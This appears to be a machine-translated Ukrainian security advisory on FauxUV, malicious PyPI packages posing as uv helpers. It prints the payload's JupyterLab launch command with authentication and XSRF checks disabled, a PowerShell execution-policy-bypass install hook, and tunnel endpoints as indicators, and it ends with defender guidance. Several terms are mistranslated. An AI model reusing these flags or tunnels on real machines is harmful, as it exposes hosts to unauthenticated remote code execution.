TL, д-р
Кластер пакетів PyPI запозичив назву uv, швидкий, надзвичайно популярний менеджер пакетів Python на базі Rust, видає себе за помічників UV. Вони майже не мають жодної реальної функціональності. Натомість вони несуть корисне навантаження Windows, яке може витримувати Сервер JupyterLab з вимкненою автентифікацією а в пізніших версіях публікує його в загальнодоступному інтернеті через зворотний тунель.
Ось і вся історія в одному рядку: назва надійного інструменту як приманка, та JupyterLab як механізм віддаленого виконання коду. Сервер Jupyter виконує будь-який код, який ви вводите в неebook клітинка; та, що запускається з порожнім токеном і прив'язана до кожного мережевого інтерфейсу, є відкритим інтерпретатором, яким може керувати будь-хто, хто має доступ до порту.
Ми відстежуємо кластер як FauxUVДва розглянуті пакети є moon-uv (0.0.1 – 0.0.16) і my-magic-uv-helper (0.0.1), опублікований тим самим оператором та активний на PyPI на момент аналізу.
| Екосистема | PyPI |
| Пакети | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Орієнтована на платформу | Windows |
| Основна поведінка | Неавтентифікований сервер JupyterLab, опублікований в інтернеті через зворотний тунель |
| Зловживання законними інструментами | ультрафіолетовий, JupyterLab, cloudflared, Pingy |
Приманка: ім'я, якому ви вже довіряєте
uv є одним з найбільш встановлюваних інструментів Python за останні два роки, тому «помічник для uv« – це пакет, який розробник встановлює без зайвих роздумів. FauxUV повністю спирається на цю назву. Пакети огортають справжній uv інсталятор від Astral — URL-адреси в корисному навантаженні вказують на справжніх, авторитетних хостів — тому швидкий погляд не бачить нічого, крім надійних посилань. Жоден з пакетів насправді не додає uv функціональність; назва — це вся маскування.
JupyterLab як рушій RCE
Центральним елементом корисного навантаження є лаунчер, який запускає JupyterLab після видалення всіх захисних огорож:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Кожен прапорець знімає захист, а наданий скрипт навіть анотує їх (оригінальною китайською мовою): порожній токен «вимикає перевірку паролів і токенів — підключитися може будь-хто». лабораторія Юпітера є легітимним IDE для обробки даних, але неebook клітинка виконує довільний код за призначенням. Налаштована таким чином і прив'язана до 0.0.0.0, він перестає бути IDE та стає неавтентифікованою віддаленою оболонкою на хості — не потрібен власний бінарний файл шкідливого програмного забезпечення, лише загальноприйнятий інструмент, спрямований не в тому напрямку.
Два допоміжні елементи роблять це досяжним та повторюваним:
- Тригер тихої інсталяції. Ранні версії працюють з PowerShell -ExecutionPolicy Обхід прямо з setup.py on pip встановити, на задньому плані з придушенням помилок, таким чином типун виглядає нормально. Пізніші версії переміщують той самий примітив у піп-ув інструмент командного рядка — і повністю відмовитися від автоматичного запуску під час встановлення.
- Громадський зворотний тунель. Сервер на 0.0.0.0 все ще доступний лише для хостів, які можуть маршрутизувати до машини. Побудований модуль відкриває [Pinggy](https://pinggy.io/) Зворотний тунель SSH, який пересилає локальний порт Jupyter на публічну адресу, усуваючи це обмеження. Постачальник скрипту також містить — закоментований — альтернативний шлях, використовуючи Cloudflare спалах хмар і Netsh порт-проксі до IP-адреси Linode, документуючи ту саму мету через різну інфраструктуру.
Зібрані разом: встановіть пакет, і хост Windows запустить JupyterLab без пароля та опублікує його у відкритому інтернеті.
Як еволюціонував FauxUV
Версії FauxUV виходили одна за одною, і точка запуску корисного навантаження переміщалася по них — нагадування про те, що одна позначена версія рідко розповідає всю історію рядка пакета.
| Стажування | версії | Тригер | Що це додає |
|---|---|---|---|
| Install-hook | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py при встановленні pip | uv install + PATH додається до початку |
| Середовище виконання CLI | moon-uv 0.0.5-0.0.13 | pip-uv команда | безпарольний лаунчер JupyterLab |
| Тунель | moon-uv 0.0.14-0.0.16 | pip-uv команда | активний зворотний тунель Pingy |
Примітно, що автоматичний запуск під час встановлення був віддалений у пізніших, більш потужних версіях — тому сканер вмикався лише на етапі життєвого циклу hooks оцінив би новіші релізи як менше ризиковано, саме навпаки.
Ознаки компромісу
Підтверджено читанням вихідного коду пакета; кінцеві точки позначені прокоментував присутні у файлах, але не виконуються аналізованою версією. Мережеві індикатори вимкнено.
| тип | індикатор |
|---|---|
| Команда встановлення | powershell -ExecutionPolicy Bypass отримання справжнього інсталятора UV під час встановлення pip |
| Прапори JupyterLab | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Зворотний тунель (активний) | free[.]pinggy[.]io:443 переадресація місцевих 127.0.0.1:8888 |
| Хост тунелю (з коментарем) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (коментовано) | 45[.]79[.]134[.]161 (Ліноде) через netsh port-proxy |
| Наполегливість | додає на початок %USERPROFILE%\.local\bin до користувача PATH |
Поведінкові сигнали, на які варто звернути увагу, незалежно від цих конкретних рядків: a pip встановити що породжує powershell -Обхід політики виконання; будь-який юпітер об'єднання запуску токен = "" з –ip=0.0.0.0; та вихідний SSH до *.pinggy.io* від розробника або машини непереривчастої інтеграції.
Спостережувана поведінка та походження
Ці два пакети мають спільного автора та метод: назву надійного інструменту, шлюзування лише для Windows, фонове виконання з придушенням помилок та опору на надійні інструменти, тому швидкий перегляд показує лише надійні URL-адреси. Джерело містить коментарі китайською мовою, які чітко описують прапорці, що стосуються безпеки; ми повідомляємо про них як про спостережувані твердження у файлі, а не як твердження про мотив. allow_origin значення та а colab.bat Назва файлу відображає неформальні робочі процеси «поділитися моїм локальним середовищем виконання», що поширюються для Google Colab. Незалежно від походження, упакований результат однаковий.
Вплив та рекомендації для захисників
Хто піддається впливу FauxUV. Розробники Windows та виконавці неперервної інтеграції, які pip встановити один із цих пакетів. JupyterLab без пароля на 0.0.0.0 це віддалене виконання коду для будь-кого, хто може отримати доступ до порту; тунель знімає обмеження «хто може до нього дістатися». Сервер працює від імені користувача, який встановлює його, успадковуючи файли, токени та хмарні облікові дані.
Чому це легко пропустити. Кожен мережевий рядок вказує на надійного хоста — Astral, JupyterLab, спалах хмар, Pinggy, Colab. Немає бінарного файлу шкідливого програмного забезпечення для хешування та обфускованого блобу для декодування. Сканування на основі репутації та сигнатур недооцінює це, тому поведінкове питання — що робить машина після встановлення цього пакета — той, хто його ловить.
Керівництво:
- Обробляйте будь-які дані під час встановлення powershell -Обхід політики виконання як сигнал зупинки збірки, незалежно від URL-адреси, яку він отримує.
- Сповіщення про юпітер запущено з порожнім токеном та –ip=0.0.0.0; ця комбінація ніколи не повинна з'являтися на робочій станції або бігунку.
- Моніторинг вихідного SSH до тунельних провайдерів (*.pinggy.io*, *.trycloudflare.com) з середовищ розробників та інженерів неперервної інтеграції.
- Встановлювати uv з [офіційного джерела](https://docs.astral.sh/uv/) і скептично ставтеся до сторонніх «допоміжних» пакетів, які огортають інструмент, встановлення якого вже є простим.
- Закріплення та повторний перегляд залежностей під час оновлення — рядок пакета може нарощувати нові можливості з кожної версії в рядку.



